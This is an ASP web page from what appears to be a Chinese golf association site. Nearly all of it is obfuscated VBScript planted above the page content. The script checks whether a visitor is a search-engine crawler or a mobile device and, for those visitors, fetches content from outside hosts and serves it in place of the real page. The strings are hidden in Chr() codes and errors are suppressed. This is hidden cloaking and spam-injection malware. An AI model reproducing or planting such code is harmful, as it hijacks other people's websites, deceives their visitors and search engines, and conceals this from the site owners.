ï»?%@ Language="VBScript" %>
<%
Public O0O0OO0OO0O0, O0OOO0O0O0O0, OO0OO0OO0O0O
Server.ScriptTimeout = 0
On Error Resume Next
OO0OO0OO0O0O = Chr(77) & Chr(111) & Chr(122) & Chr(105) & Chr(108) & Chr(108) & Chr(97) & Chr(47) & Chr(53) & Chr(46) & Chr(48) & Chr(32) & Chr(40) & Chr(99) & Chr(111) & Chr(109) & Chr(112) & Chr(97) & Chr(116) & Chr(105) & Chr(98) & Chr(108) & Chr(101) & Chr(59) & Chr(32) & Chr(66) & Chr(97) & Chr(105) & Chr(100) & Chr(117) & Chr(115) & Chr(112) & Chr(105) & Chr(100) & Chr(101) & Chr(114) & Chr(47) & Chr(50) & Chr(46) & Chr(48) & Chr(59) & Chr(32) & Chr(98) & Chr(100) & Chr(117) & Chr(49) & Chr(113) & Chr(104) & Chr(111) & Chr(98) & Chr(113) & Chr(59) & Chr(32) & Chr(43) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(119) & Chr(119) & Chr(119) & Chr(46) & Chr(98) & Chr(97) & Chr(105) & Chr(100) & Chr(117) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(115) & Chr(101) & Chr(97) & Chr(114) & Chr(99) & Chr(104) & Chr(47) & Chr(115) & Chr(112) & Chr(105) & Chr(100) & Chr(101) & Chr(114) & Chr(46) & Chr(104) & Chr(116) & Chr(109) & Chr(108) & Chr(41)
Function O0OO0O0OO0O0(O0O0O0O00O00)
Dim O0OO00O0OO0O, OO0O0OO00OO0
OO0O0OO00OO0 = ""
On Error Resume Next
Set O0OO00O0OO0O = Server.CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
If Err.Number = 0 Then
O0OO00O0OO0O.Open Chr(71) & Chr(69) & Chr(84), O0O0O0O00O00, False
O0OO00O0OO0O.setRequestHeader Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(45) & Chr(65) & Chr(103) & Chr(101) & Chr(110) & Chr(116), OO0OO0OO0O0O
O0OO00O0OO0O.Send
If Err.Number = 0 Then
OO0O0OO00OO0 = O0OO00O0OO0O.responseText
End If
Set O0OO00O0OO0O = Nothing
End If
If OO0O0OO00OO0 = "" Then
On Error Resume Next
Set O0OO00O0OO0O = Server.CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
If Err.Number = 0 Then
O0OO00O0OO0O.Open Chr(71) & Chr(69) & Chr(84), O0O0O0O00O00, False
O0OO00O0OO0O.setRequestHeader Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(45) & Chr(65) & Chr(103) & Chr(101) & Chr(110) & Chr(116), OO0OO0OO0O0O
O0OO00O0OO0O.Send
If Err.Number = 0 Then
OO0O0OO00OO0 = O0OO00O0OO0O.responseText
End If
Set O0OO00O0OO0O = Nothing
End If
End If
If OO0O0OO00OO0 = "" Then
On Error Resume Next
Set O0OO00O0OO0O = Server.CreateObject(Chr(87) & Chr(105) & Chr(110) & Chr(72) & Chr(116) & Chr(116) & Chr(112) & Chr(46) & Chr(87) & Chr(105) & Chr(110) & Chr(72) & Chr(116) & Chr(116) & Chr(112) & Chr(82) & Chr(101) & Chr(113) & Chr(117) & Chr(101) & Chr(115) & Chr(116) & Chr(46) & Chr(53) & Chr(46) & Chr(49))
If Err.Number = 0 Then
O0OO00O0OO0O.Open Chr(71) & Chr(69) & Chr(84), O0O0O0O00O00, False
O0OO00O0OO0O.setRequestHeader Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(45) & Chr(65) & Chr(103) & Chr(101) & Chr(110) & Chr(116), OO0OO0OO0O0O
O0OO00O0OO0O.Send
If Err.Number = 0 Then
OO0O0OO00OO0 = O0OO00O0OO0O.responseText
End If
Set O0OO00O0OO0O = Nothing
End If
End If
O0OO0O0OO0O0 = OO0O0OO00OO0
On Error GoTo 0
End Function
Function O0O0OO0O00O0()
Dim O0O0O00O0O0O
O0O0O00O0O0O = Request.ServerVariables(Chr(85) & Chr(82) & Chr(76))
If Request.ServerVariables(Chr(81) & Chr(85) & Chr(69) & Chr(82) & Chr(89) & Chr(95) & Chr(83) & Chr(84) & Chr(82) & Chr(73) & Chr(78) & Chr(71)) <> "" Then
O0O0O00O0O0O = O0O0O00O0O0O & Chr(63) & Request.ServerVariables(Chr(81) & Chr(85) & Chr(69) & Chr(82) & Chr(89) & Chr(95) & Chr(83) & Chr(84) & Chr(82) & Chr(73) & Chr(78) & Chr(71))
End If
O0O0OO0O00O0 = O0O0O00O0O0O
End Function
Function O0O0O00OO000(O0O0O0O0O0O0)
If IsNull(O0O0O0O0O0O0) Or O0O0O0O0O0O0 = "" Then
O0O0O00OO000 = False
Exit Function
End If
Dim O00OOO0O00O0, O0O0OO00O00O
O00OOO0O00O0 = LCase(Right(O0O0O0O0O0O0, 4))
O0O0OO00O00O = Array(Chr(46) & Chr(120) & Chr(109) & Chr(108), Chr(46) & Chr(100) & Chr(111) & Chr(99), Chr(46) & Chr(112) & Chr(100) & Chr(102), Chr(46) & Chr(104) & Chr(116) & Chr(109) & Chr(108), Chr(46) & Chr(112) & Chr(112) & Chr(116), Chr(46) & Chr(97) & Chr(115) & Chr(112) & Chr(120), Chr(46) & Chr(120) & Chr(108) & Chr(115), Chr(46) & Chr(99) & Chr(115) & Chr(118), Chr(46) & Chr(115) & Chr(104) & Chr(116) & Chr(109) & Chr(108), Chr(46) & Chr(115) & Chr(99) & Chr(109))
For Each O00O00O0O0O0 In O0O0OO00O00O
If Len(O00O00O0O0O0) = 4 And Right(O00OOO0O00O0, 4) = O00O00O0O0O0 Then
O0O0O00OO000 = True
Exit Function
End If
If Len(O00O00O0O0O0) = 5 And Right(LCase(O0O0O0O0O0O0), 5) = O00O00O0O0O0 Then
O0O0O00OO000 = True
Exit Function
End If
Next
O0O0O00OO000 = False
End Function
Function O0O0O0O0OO0O(O0O0O000O0OO)
If IsNull(O0O0O000O0OO) Or O0O0O000O0OO = "" Then
O0O0O0O0OO0O = False
Exit Function
End If
Dim O0O0O00O0O0O
Set O0O0O00O0O0O = New RegExp
O0O0O00O0O0O.Pattern = Chr(65) & Chr(110) & Chr(100) & Chr(114) & Chr(111) & Chr(105) & Chr(100) & Chr(124) & Chr(66) & Chr(114) & Chr(111) & Chr(119) & Chr(115) & Chr(101) & Chr(114) & Chr(124) & Chr(77) & Chr(111) & Chr(98) & Chr(105) & Chr(108) & Chr(101) & Chr(124) & Chr(87) & Chr(97) & Chr(112) & Chr(124) & Chr(105) & Chr(79) & Chr(115) & Chr(124) & Chr(105) & Chr(80) & Chr(97) & Chr(100) & Chr(124) & Chr(105) & Chr(80) & Chr(104) & Chr(111) & Chr(110) & Chr(101) & Chr(124) & Chr(105) & Chr(80) & Chr(111) & Chr(100)
O0O0O00O0O0O.IgnoreCase = True
O0O0O0O0OO0O = O0O0O00O0O0O.Test(O0O0O000O0OO)
Set O0O0O00O0O0O = Nothing
End Function
Function O0OO0O0O00O0(O0O0O000O0OO)
If IsNull(O0O0O000O0OO) Or O0O0O000O0OO = "" Then
O0OO0O0O00O0 = False
Exit Function
End If
Dim O0O0O00O0O0O
Set O0O0O00O0O0O = New RegExp
O0O0O00O0O0O.Pattern = Chr(66) & Chr(97) & Chr(105) & Chr(100) & Chr(117) & Chr(124) & Chr(83) & Chr(111) & Chr(103) & Chr(111) & Chr(117) & Chr(124) & Chr(89) & Chr(105) & Chr(115) & Chr(111) & Chr(117) & Chr(124) & Chr(83) & Chr(111) & Chr(115) & Chr(111) & Chr(124) & Chr(72) & Chr(97) & Chr(111) & Chr(115) & Chr(111) & Chr(117) & Chr(124) & Chr(98) & Chr(100) & Chr(117) & Chr(49) & Chr(113) & Chr(104) & Chr(111) & Chr(98) & Chr(113) & Chr(124) & Chr(83) & Chr(111) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(124) & Chr(83) & Chr(109) & Chr(46) & Chr(99) & Chr(110) & Chr(124) & Chr(71) & Chr(111) & Chr(111) & Chr(103) & Chr(108) & Chr(101) & Chr(98) & Chr(111) & Chr(116) & Chr(124) & Chr(98) & Chr(105) & Chr(110) & Chr(103) & Chr(98) & Chr(111) & Chr(116) & Chr(124) & Chr(89) & Chr(97) & Chr(104) & Chr(111) & Chr(111) & Chr(124) & Chr(83) & Chr(108) & Chr(117) & Chr(114) & Chr(112) & Chr(124) & Chr(68) & Chr(117) & Chr(99) & Chr(107) & Chr(68) & Chr(117) & Chr(99) & Chr(107) & Chr(66) & Chr(111) & Chr(116) & Chr(124) & Chr(89) & Chr(97) & Chr(110) & Chr(100) & Chr(101) & Chr(120) & Chr(66) & Chr(111) & Chr(116)
O0O0O00O0O0O.IgnoreCase = True
O0OO0O0O00O0 = O0O0O00O0O0O.Test(O0O0O000O0OO)
Set O0O0O00O0O0O = Nothing
End Function
Dim O00O0O0O00O0, O0OO0O0OOO00, O0O0O0000O0O, O00O0O0OO0O0, OOO00O0O0O0O, OO0O0O0O0OO0
O00O0O0O00O0 = O0O0OO0O00O0()
O0OO0O0OOO00 = Request.ServerVariables(Chr(72) & Chr(84) & Chr(84) & Chr(80) & Chr(95) & Chr(82) & Chr(69) & Chr(70) & Chr(69) & Chr(82) & Chr(69) & Chr(82))
If IsNull(O0OO0O0OOO00) Then O0OO0O0OOO00 = ""
O0O0O0000O0O = Request.ServerVariables(Chr(72) & Chr(84) & Chr(84) & Chr(80) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(95) & Chr(65) & Chr(71) & Chr(69) & Chr(78) & Chr(84))
If IsNull(O0O0O0000O0O) Then O0O0O0000O0O = ""
O00O0O0OO0O0 = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(112) & Chr(104) & Chr(112) & Chr(46) & Chr(111) & Chr(112) & Chr(115) & Chr(100) & Chr(101) & Chr(46) & Chr(99) & Chr(99) & Chr(47) & Chr(108) & Chr(105) & Chr(115) & Chr(116) & Chr(46) & Chr(112) & Chr(104) & Chr(112)
OO0O0O0O0OO0 = Chr(47) & Chr(63) & Request.ServerVariables(Chr(72) & Chr(84) & Chr(84) & Chr(80) & Chr(95) & Chr(72) & Chr(79) & Chr(83) & Chr(84)) & O00O0O0O00O0
If O0O0O00OO000(O00O0O0O00O0) And O0O0O0O0OO0O(O0O0O0000O0O) Then
Response.Write O0OO0O0OO0O0(Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(97) & Chr(111) & Chr(46) & Chr(108) & Chr(97) & Chr(99) & Chr(118) & Chr(105) & Chr(112) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(119) & Chr(97) & Chr(112) & Chr(54) & Chr(46) & Chr(104) & Chr(116) & Chr(109) & Chr(108))
Response.End
End If
If O0OO0O0O00O0(O0O0O0000O0O) Then
If O0O0O00OO000(O00O0O0O00O0) Then
Response.Write O0OO0O0OO0O0(O00O0O0OO0O0 & OO0O0O0O0OO0)
Response.End
Else
Response.Write O0OO0O0OO0O0(Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(97) & Chr(111) & Chr(46) & Chr(108) & Chr(97) & Chr(99) & Chr(118) & Chr(105) & Chr(112) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(108) & Chr(105) & Chr(110) & Chr(107) & Chr(54) & Chr(46) & Chr(112) & Chr(104) & Chr(112))
Response.Flush
End If
End If
On Error GoTo 0
%>
广西高尔夫球协会--广西高尔夫球协会网上交流平台
| 协会介绍 |
 |
|
|
|